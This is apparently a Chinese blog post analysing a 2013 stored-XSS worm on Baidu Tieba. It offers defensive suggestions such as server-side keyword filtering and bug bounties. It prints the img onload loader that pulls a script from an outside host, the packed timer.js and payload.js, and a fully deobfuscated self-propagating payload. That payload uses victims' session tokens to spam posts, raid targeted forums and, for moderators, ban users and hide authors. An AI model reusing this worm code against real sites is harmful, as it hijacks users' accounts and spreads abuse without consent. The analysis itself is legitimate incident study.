总结:
此恶意代码的表现是 点击进入带有恶意代码的帖子后 会自动在用户访问过的贴吧发带有相同恶意代码的帖子 并回复当前贴
本人在逛贴吧的时候 突然发现自己点击一个帖子后显示自己已经回复此贴 再看发帖列表的时候 自己在另一个吧发了相同题目的帖子
于是认为是有恶意代码 当时经过排查 发现在浏览其他网页的 甚至其他正常帖子的时候都没有问题 于是就把目标锁定在那个帖子上
同时发现各个贴吧中都有类似的帖子出现 基本上认为是有人发了带有恶意代码的帖子
立即关闭chrome浏览器的javascript 再次进入那个帖子 查看其内容 目标在该贴楼主的文章内部 发现了这个东西
利用了img标签 onload事件可以调用外部恶意代码的漏洞
于是这次事件毫无疑问的可以定性为xss攻击
但是就目前拿到的代码(3个js代码文件 只拿到两个) 分析 除了上述的行为以外 没有什么恶劣的行为
并且
1 其代码中有控制XSS攻击的时间范围(2013.06.12 17:40:00 到 2013.06.12 21:00:00 之间)
2 在之后更改了timer.js 移除了帖子中的恶意代码
3 代码中发现了黑名单 和白名单
因此 此次攻击的主导者是有预谋 有针对性 有克制力的
他也不愿事件失控 或许只是为了针对某些人 但也不想做的太过分 同时也想将这个漏洞以这种方式通知给百度
此XSS漏洞的运作方式已经了解的很清楚了 但是处于种种考虑不想研究和描述其发帖的过程
本人既没有对web安全有比较深入的了解 也没有很多web开发的经验 更不知道百度的架构是怎么样的
针对此漏洞 斗胆提出几个建议:
技术上说 : 还是要贯彻"一切输入输出都是不可靠的" 这一概念
不仅仅要在前端用JS来限制用户输入 还需要在后端对POST的内容进行判断
就本例而言 如果在后台接到POST的内容后 对内容进行审查 发现"onload" "script" "document.body.appendChild" "document.createElement"这样的关键字
以及其它例如"onerror" "onabort" 自然可以作出应对, 删除这部分内容或者直接舍弃掉这篇帖子
另外一方面 不使用HTML标签的形式编辑、存储帖子内容应该也是必要的
以某种类似于markdown的语句存储帖子内容 因其从HTML转换成目标语句的过程中必然不会有显示的时候不需要的Event Handler
(其实<对于贴吧来说 帖子内容的所有HTML标签的任何Event Handler都是不需要的)显示帖子的时候再用JS或者后台直接转换成HTML语言
这样可以很大程度上增加攻击者的注入难度
策略上说 : 个人认为Google的漏洞悬赏是很靠谱的 这样即能建立起漏洞反馈的渠道 又可以在漏洞被流传开来之前就获得漏洞的信息以修复 还能提高漏洞发现积极性 花的钱也不多
----------------------------------------
onLoad中的代码:
整理如下:
var script = document.createElement('script');
script.type = 'text/javascript';
script.charset = 'utf-8';
script.setAttribute('text', 'xsspayloadtoken');
script.src = 'http://jsfile.duapp.com/timer.js';
document.body.appendChild(script)" " = "
将一段恶意代码包装在一个img标签的 onload事件中
在这段代码中 新建了一个Javascript DOM节点
然后加载了http://jsfile.duapp.com/timer.js这个JS文件
最后添加在body的最后
因为这个img标签的图片比较小, 并且是在贴吧自己的静态服务器上 图片加载完毕的时候往往页面还没有加载完毕
等到浏览器运行到body的最后时 这个script节点中的JS代码就会自动运行
访问http://jsfile.duapp.com/这个网页是一段乱码
貌似是托管在百度app上的一段代码
http://jsfile.duapp.com/timer.js中的代码如下:
;;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('G a=["\\n\\e\\c\\g\\t\\p\\h\\k\\c\\t\\n\\g\\l","\\F\\d\\d\\f\\1g\\x\\x\\H\\e\\E\\j\\l\\c\\C\\s\\n\\h\\f\\f\\C\\q\\i\\k\\x\\f\\h\\y\\l\\i\\h\\s\\C\\H\\e","\\j\\e\\t\\E\\i\\g\\n\\k\\t\\k\\h\\p\\h\\J\\c\\g","\\n\\e\\c\\g\\t\\g\\i\\l\\c\\e","\\f\\i\\1r\\c\\g","\\j\\e\\t\\E\\i\\g\\n\\k\\t\\f\\k","\\F\\d\\d\\f\\1g\\x\\x\\H\\e\\E\\j\\l\\c\\C\\s\\n\\h\\f\\f\\C\\q\\i\\k\\x\\J\\q\\C\\H\\e","\\b\\m\\m\\b\\I\\m\\b\\m\\Q\\b\\K\\v\\b\\m\\P\\b\\v\\R\\b\\m\\L\\b\\K\\Q\\b\\w\\R\\b\\K\\L","\\b\\I\\1b\\b\\w\\S\\b\\w\\N\\b\\v\\1l\\b\\A\\P\\b\\v\\M\\b\\m\\L\\b\\w\\L","\\1q\\A\\b\\w\\N\\b\\I\\N\\b\\A\\m\\b\\K\\A\\b\\A\\R\\b\\A\\P\\b\\m\\S\\b\\v\\Q\\b\\w\\S\\b\\v\\Q\\b\\w\\R\\b\\I","\\l\\c\\p\\J\\d\\F","\\g\\c\\k\\i\\1h\\c","\\j\\k\\J\\Z\\d\\c\\z\\d\\Y\\O\\p\\j\\c\\M\\1b\\T\\J\\j\\e\\p\\P\\j\\M\\N\\y\\O\\1f","\\e\\q\\g\\j\\f\\d\\Z\\d\\c\\z\\d\\Y\\O\\z\\e\\e\\f\\h\\y\\l\\i\\h\\s\\d\\i\\1a\\c\\p\\O\\1f","\\e\\q\\g\\j\\f\\d","\\q\\g\\c\\h\\d\\c\\I\\l\\c\\k\\c\\p\\d","\\d\\y\\f\\c","\\d\\c\\z\\d\\x\\H\\h\\1h\\h\\e\\q\\g\\j\\f\\d","\\q\\F\\h\\g\\e\\c\\d","\\n\\d\\E\\1s\\M","\\e\\g\\q","\\d\\c\\z\\d","\\z\\e\\e\\f\\h\\y\\l\\i\\h\\s\\d\\i\\1a\\c\\p","\\e\\c\\d\\v\\d\\d\\g\\j\\T\\n\\d\\c","\\h\\f\\f\\c\\p\\s\\m\\F\\j\\l\\s","\\T\\i\\s\\y"];G V=[X U(1e,5,12,17,1t,0),X U(1e,5,12,1c,0,0)];G W=X U();G o=D[a[0]];u(W>V[0]&&W
万恶的eval()
这是一段被打包过的代码 先吃饭了 回头再分析
----------------------------------------------------------
截至2013.0612 21:00 timer.js已被修改为
$('img[text="nie85bgisn4i82y"]').remove();
$('script[text="xsspayloadtoken"]').remove();
location.href='http://jsfile.duapp.com/';
感谢 wudi343 网友的帮助 将之前的 timer.js 加密过的代码解密 内容如下:
var targetDate=[new Date(2013,5,12,17,40,0),new Date(2013,5,12,21,0,0)];
var presentTime=new Date();
var nurl=PageData["user_name_url"];
if(presentTime>targetDate[0]&&presentTime
从这段代码中看出 如果当前时间在 2013.06.12 17:40:00 到 2013.06.12 21:00:00 之间
加载
http://jsfile.duapp.com/payload.js
这里的代码
如果满足一系列条件 就再加载
http://jsfile.duapp.com/gc.js
这里的代码
2013.06.12 23:43 所有的代码已经找不到了(505错误) 所以没办法得到gc.js的代码
/*
第一段hex:
http://jsfile.duapp.com/payload.js","祝各位吧友端午节快乐,玩的开心
img[text="nie85bgisn4i82y"]
script[text="xsspayloadtoken"]
script
text/javascript
utf-87:text
xsspayloadtoken
*/
先不管别的 为免再次被修改 ,把payload.js抓下来如下:
;;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 f={w:6.y.1s,D:"E-8",2j:"1",1M:"1",M:6.y.k,l:6.H.k,g:"\\W\\2X\\2C\\2V\\3u\\3C\\O\\2G\\2N\\2N",m:6.m,2g:"3p,3r,n,A,C,n,C,3q,1U,C,A,n,A,C,A,n,A,C,A,n,1U,2J,n,C,n,1U,C,2H,2H,n,A,2J,n,n,2Z",2a:"3c",2c:"1",3D:"0",4a:"0",1Y:"0",25:"11",24:"1"};$.o("z://v.u.h/f/J/o/B",f);9 c=49.4b();c.45="";9 g=["\\2e\\2G\\4m\\4n\\1b\\P\\4o\\4k\\4g\\4f\\W\\2C\\4j\\3L","2\\W\\2v\\P\\2w\\2w","\\P\\2v\\3M\\1D\\3O\\O\\3N\\3a\\2t","\\O\\W\\3I\\3P","\\1V\\3X\\3W\\3Y","\\P\\3Z\\3Q\\3T\\1b\\3U\\3S\\3R\\3V\\P\\2r\\40\\1X","\\2p\\3H\\1b\\3G\\1X\\28\\3E\\3F\\3J\\2o","\\2m\\2m\\3K","\\4i\\4h\\4p\\4l","\\O\\W\\4e\\44"];g=g[17.2i(17.2h()*10)];F=F[17.2i(17.2h()*5)];9 2s=["43","41","2f"];9 2q=["\\42\\48\\4c\\4d","\\3b\\30","\\2k\\2d\\2b"]9 1W=["3g","3h","3f","3d","3e"];9 2A=["2S","2Y","2W","2U","2T","3w","3x","3v","3t","3B","3A","3y","3s","3l","3m","3k","3i","3j","3o","3n","3z"];9 1r=[];9 1B=[];9 21=6.K.L.I.1Q;1E(9 i=0,j=0;i<21;i++){s(6.K.L.I[i].2R>4){s(!(1W.1K(b(x){1a x==6.K.L.I[i].k}))&&!(2A.1K(b(x){1a x==6.K.L.I[i].k}))){1r[j]=6.K.L.I[i].5y;1B[j]=6.K.L.I[i].k;j++}}};9 1O=[V 15(1Z,20,12,19,29,23),V 15(1Z,20,12,19,36,23)];9 1J=V 15();s(1J>1O[0]&&1J<1O[1]){c.F="\\N\\N\\N\\5C\\5B\\5t\\5v \\5q\\5r\\5p\\5n\\N\\N\\N\\5o\\5w\\5u\\5s";c.g=\'\';c.g+="\\5g\\5h\\1D\\1V\\2t\\2l\\5f\\5d \\5e \\1b\\5l\\5m\\5k\\5i\\5j"}5E{c.g=\'\';c.g+=g;c.F=F};b 1C(k,w){c.M=k;c.w=w;$.o("z://v.u.h/f/J/H/B",c)};1E(i=0;i<3;i++){26("1C(\'"+2s[i]+"\',\'"+2q[i]+"\')",5D*i)};9 27={w:"\\2k\\2d\\2b",D:"E-8",2j:"1",1M:"0",M:"2f",l:"0",2g:"36,34,32,58,35,36,35,46,31,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,31,36,35,47,33,37,36,31,39,34,34,38,58,47,38,38,5A",2a:"5z",2c:"1",F:"\\2e\\1D\\4F\\2r\\O\\4G\\2u\\2u",g:\'\\4E\\2n\\4C\\2l\\2n\\2p\\2o\\28\\4D\\4H\\4L\\5x\\4K\',1Y:"0",m:6.m,25:"11",24:"1"};$.o("z://v.u.h/f/J/H/B",27);1E(i=0;i<1r.1Q;i++){26("1C(\'"+1B[i]+"\',\'"+1r[i]+"\')",4I*i)};s(6.1G.1L.2O){9 d={D:"E-8",m:6.m,w:6.y.1s,M:6.y.k,l:6.H.k,4J:"0"};$.o(\'z://v.u.h/f/J/H/22/B\',d);4B("$.o(\'z://v.u.h/f/J/H/22/B\',d);",4t)};s(6.1G.1L.4u||6.1G.1L.2O){9 2K={4s:"1",2P:"4q",M:6.y.k,D:"E-8",m:6.m,2Q:6.2Q};$.o("z://v.u.h/4r/2P",2K);9 2z=1S.1R(q.4v("4z 4A")[0].1P("R-S"));9 2B={T:"1",4y:2z.4w.1s,D:"E-8"};$.o("z://v.u.h/4x/B",2B)};b 2L(2E,g){9 1H,16,1T,1A,Q;1H={w:6.y.1s,D:"E-8",M:6.y.k,g:g,m:6.m};16=b(2y,1F){9 G=V 4N;G.54(\'55\',2y,2I);G.53=\'q\';G.1F=b(){1F(G.51)};G.52()};1T=b(){16(\'/f?56=1&w=\'+6.y.5b+\'&t=\'+V 15().5c(),b(U){$(U).1N("5a[R-S*=\'\\"57\\":1\']").59(b(){9 d=1S.1R(4Z.1P(\'R-S\'));d.2D<50&&1A(d.k,d.2D>0)})})};1A=b(l,2F){16(\'z://v.u.h/p/\'+l,b(U){s($(U).1N(\'Z[Y="\'+2E+\'"]\').1Q!==0)1a;2F?([].1K.4R($(U).1N(\'.4S:4Q([R-S$="\\"1M\\":\\"1\\"}"]) > 4O > .4P\'),b(e){s(e.4T>=5)1a 2I;Q(l,1S.1R(e.2x.2x.1P(\'R-S\')).4X)})&&Q(l)):Q(l)})};Q=b(l,1I){9 c=4Y(1H);c.l=l;s(1I)c.4W=1I;$.o(\'/f/J/o/B\',c)};1T()};2L(\\4U"X",\'\\4V\\4M\\2M\\2M\');',62,351,'||||||PageData|script||var|u2018|function|||||content|com|||id|tid|tbs|101|post||document|src|if||baidu|tieba|kw||forum|http|121|add|100|ie|utf|title|xhr|thread|info|commit|user|user_forum_list|fid|u00b7|u4e00|u6211|step3|data|field|type|res|new|u697c|nie85bgisn4i82y|text|img||||u201c|body|Date|get|Math|js||return|uff0c|appendChild|jsfile|duapp|timer|height|u201d|width|class|BDE_Smiley|onerror|u2019text|javascript|u2019script|u201cvar|createElement|forumName|name|u2018text|setAttribute|u2019|u2019xsspayloadtoken|charset|u2018utf|u2019http|step2|forumId|makeit|u5427|for|onload|power|model|lzl|presentTime|some|user_roles|floor_num|find|targetDate|getAttribute|length|parse|JSON|step1|92|u5927|whitelist|u89c9|anonymous|2013|05|lf|good|00|new_vcode|tag|setTimeout|slj|u4e0d||mouse_pwd_t|u519b|mouse_pwd_isclick|u7acb|u8fd9|1206079|mouse_pwd|random|floor|rich_text|u5b59|u56fd|u4e48|u6f2b|u4e86|u597d|blacklistkw|u5c31|blacklist|u5e1d|u5475|u662f|u7239|parentElement|url|LZ|officialForum|ef|u7684|reply_num|token|hasreply|u4e2a|97|true|108|ee|scan|u6324|uff01|is_forum_manager|cm|user_name|user_level|153669|2504636|898666|u5e16|2917706|u4e3b|1065858|13709731144851|u6bc5||||||||||u6c89|u674e|1370973114485|2520908|9046|2262468|635137|1074587|746110|154474|2177090|2118405|1962969|4035056|3025434|102|103|99|86209|2331213|u5b50|1566944|1882284|813565|4536|1153798|350911|3170781|u8d5e|lp_type|u4f1a|u518d|u611f|u7d2f|u9632|u7231|u54d2|u89c1|u672c|u79d2|u7b2c|u541e|u6570|u6253|u4eba|u523020|u6ca1|u65ad|u665a|u5bb6|u5b89|u4ece1|u7761|59099|u9b54|73787|u718a|prefix|||u517d|rich_postor|lp_sub_type|_getData|u4e16|u754c|u5582|u542c2|u542c|u8757|u98de|u610f|u8981|u6e56|u95ee|u9898|u4eec|u829c|filter_forum_user|bawu|ban_days|1200|is_forum_bawu|getElementsByClassName|author|tphide|hide_un|l_post|noborder|setInterval|u6bd4|u77e5|u65e5|u91cc|u7fa4sb|u9053|2000|cid|u500d|u591a|u6392|XMLHttpRequest|div|j_lzl_m_w|not|call|j_lzl_container|childElementCount|u00a0|u524d|quote_id|pid|Object|this||responseXML|send|responseType|open|GET|apage|is_top||each|li|name_url|getTime|u4f4d|u53d7|u5404|u795d|u7206|u5feb|u4e50|u8282|u7aef|u5348|u8fc7|u80a5|u8e0f|u94c1|u9a91|u4e34|u4e4b|u964d|u9b42|u9e2d|u5c11|forum_name|1370973332622|13709733326221|u4ec7|u590d|3000|else'.split('|'),0,{}))
解密如下:
var f = {
kw: PageData.forum.name,
ie: "utf-8",
rich_text: "1",
floor_num: "1",
fid: PageData.forum.id,
tid: PageData.thread.id,
content: "楼主的帖子赞一个!!",
tbs: PageData.tbs,
mouse_pwd: "102,99,101,121,100,101,100,103,92,100,121,101,121,100,121,101,121,100,121,101,92,108,101,100,101,92,100,97,97,101,121,108,101,101,13709731144851",
mouse_pwd_t: "1370973114485",
mouse_pwd_isclick: "1",
lp_type: "0",
lp_sub_type: "0",
anonymous: "0",
tag: "11",
new_vcode: "1"
};
$.post("http://tieba.baidu.com/f/commit/post/add", f);
var c = rich_postor._getData();
c.prefix = "";
var content = ["这个问题,我们要听听2楼的意见", "2楼是我爹爹", "我是本吧第一秒沉帝", "一楼防吞", "大家晚安", "我从1数챎0,没人打断我就睡觉", "好累,感觉不会再爱了", "么么哒", "飞蝗芜湖", "一楼喂熊"];
content = content[Math.floor(Math.random() * 10)];
title = title[Math.floor(Math.random() * 5)];
var blacklist = ["73787", "59099", "1206079"];
var blacklistkw = ["魔兽世界", "李毅", "孙立军"]
var whitelist = ["635137", "1074587", "2262468", "2520908", "9046"];
var officialForum = ["153669", "1065858", "2917706", "898666", "2504636", "1882284", "813565", "1566944", "2331213", "3170781", "350911", "4536", "86209", "2118405", "1962969", "2177090", "746110", "154474", "3025434", "4035056", "1153798"];
var forumName = [];
var forumId = [];
var lf = PageData.user.user_forum_list.info.length;
for (var i = 0, j = 0; i < lf; i++) {
if (PageData.user.user_forum_list.info[i].user_level > 4) {
if (!(whitelist.some(function (x) {
return x == PageData.user.user_forum_list.info[i].id
})) && !(officialForum.some(function (x) {
return x == PageData.user.user_forum_list.info[i].id
}))) {
forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
forumId[j] = PageData.user.user_forum_list.info[i].id;
j++
}
}
};
var targetDate = [new Date(2013, 05, 12, 19, 29, 00), new Date(2013, 05, 12, 19, 36, 00)];
var presentTime = new Date();
if (presentTime > targetDate[0] && presentTime < targetDate[1]) {
c.title = "···复仇之魂 铁骑踏过···肥鸭降临";
c.content = '
';
c.content += "祝爆吧大帝国各位 受 ,端午节快乐"
} else {
c.content = '
';
c.content += content;
c.title = title
};
function makeit(id, kw) {
c.fid = id;
c.kw = kw;
$.post("http://tieba.baidu.com/f/commit/thread/add", c)
};
for (i = 0; i < 3; i++) {
setTimeout("makeit('" + blacklist[i] + "','" + blacklistkw[i] + "')", 3000 * i)
};
var slj = {
kw: "孙立军",
ie: "utf-8",
rich_text: "1",
floor_num: "0",
fid: "1206079",
tid: "0",
mouse_pwd: "36,34,32,58,35,36,35,46,31,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,31,36,35,47,33,37,36,31,39,34,34,38,58,47,38,38,13709733326221",
mouse_pwd_t: "1370973332622",
mouse_pwd_isclick: "1",
title: "这吧里就一群sb呵呵",
content: '
日漫比国漫好了不知道多少倍',
anonymous: "0",
tbs: PageData.tbs,
tag: "11",
new_vcode: "1"
};
$.post("http://tieba.baidu.com/f/commit/thread/add", slj);
for (i = 0; i < forumName.length; i++) {
setTimeout("makeit('" + forumId[i] + "','" + forumName[i] + "')", 2000 * i)
};
if (PageData.power.user_roles.is_forum_manager) {
var d = {
ie: "utf-8",
tbs: PageData.tbs,
kw: PageData.forum.name,
fid: PageData.forum.id,
tid: PageData.thread.id,
cid: "0"
};
$.post('http://tieba.baidu.com/f/commit/thread/good/add', d);
setInterval("$.post('http://tieba.baidu.com/f/commit/thread/good/add',d);", 1200)
};
if (PageData.power.user_roles.is_forum_bawu || PageData.power.user_roles.is_forum_manager) {
var ee = {
ban_days: "1",
cm: "filter_forum_user",
fid: PageData.forum.id,
ie: "utf-8",
tbs: PageData.tbs,
user_name: PageData.user_name
};
$.post("http://tieba.baidu.com/bawu/cm", ee);
var LZ = JSON.parse(document.getElementsByClassName("l_post noborder")[0].getAttribute("data-field"));
var ef = {
type: "1",
hide_un: LZ.author.name,
ie: "utf-8"
};
$.post("http://tieba.baidu.com/tphide/add", ef)
};
function scan(token, content) {
var model, get, step1, step2, step3;
model = {
kw: PageData.forum.name,
ie: "utf-8",
fid: PageData.forum.id,
content: content,
tbs: PageData.tbs
};
get = function (url, onload) {
var xhr = new XMLHttpRequest;
xhr.open('GET', url, true);
xhr.responseType = 'document';
xhr.onload = function () {
onload(xhr.responseXML)
};
xhr.send()
};
step1 = function () {
get('/f?apage=1&kw=' + PageData.forum.name_url + '&t=' + new Date().getTime(), function (res) {
$(res).find("liÚta-field*='\"is_top\":1']").each(function () {
var d = JSON.parse(this.getAttribute('data-field'));
d.reply_num < 50 && step2(d.id, d.reply_num > 0)
})
})
};
step2 = function (tid, hasreply) {
get('http://tieba.baidu.com/p/' + tid, function (res) {
if ($(res).find('img[text="' + token + '"]').length !== 0) return;
hasreply ? ([].some.call($(res).find('.j_lzl_container:not(Úta-field$="\"floor_num\":\"1\"}"]) > div > .j_lzl_m_w'), function (e) {
if (e.childElementCount >= 5) return true;
step3(tid, JSON.parse(e.parentElement.parentElement.getAttribute('data-field')).pid)
}) && step3(tid)) : step3(tid)
})
};
step3 = function (tid, lzl) {
var c = Object(model);
c.tid = tid;
if (lzl) c.quote_id = lzl;
$.post('/f/commit/post/add', c)
};
step1()
};
scan( "nie85bgisn4i82y", '
前排挤挤');
这段代码中值得注意的是
var blacklist = ["73787", "59099", "1206079"];var blacklistkw = ["魔兽世界", "李毅", "孙立军"];
var whitelist = [635137, 1074587, 2262468, 2520908, 9046]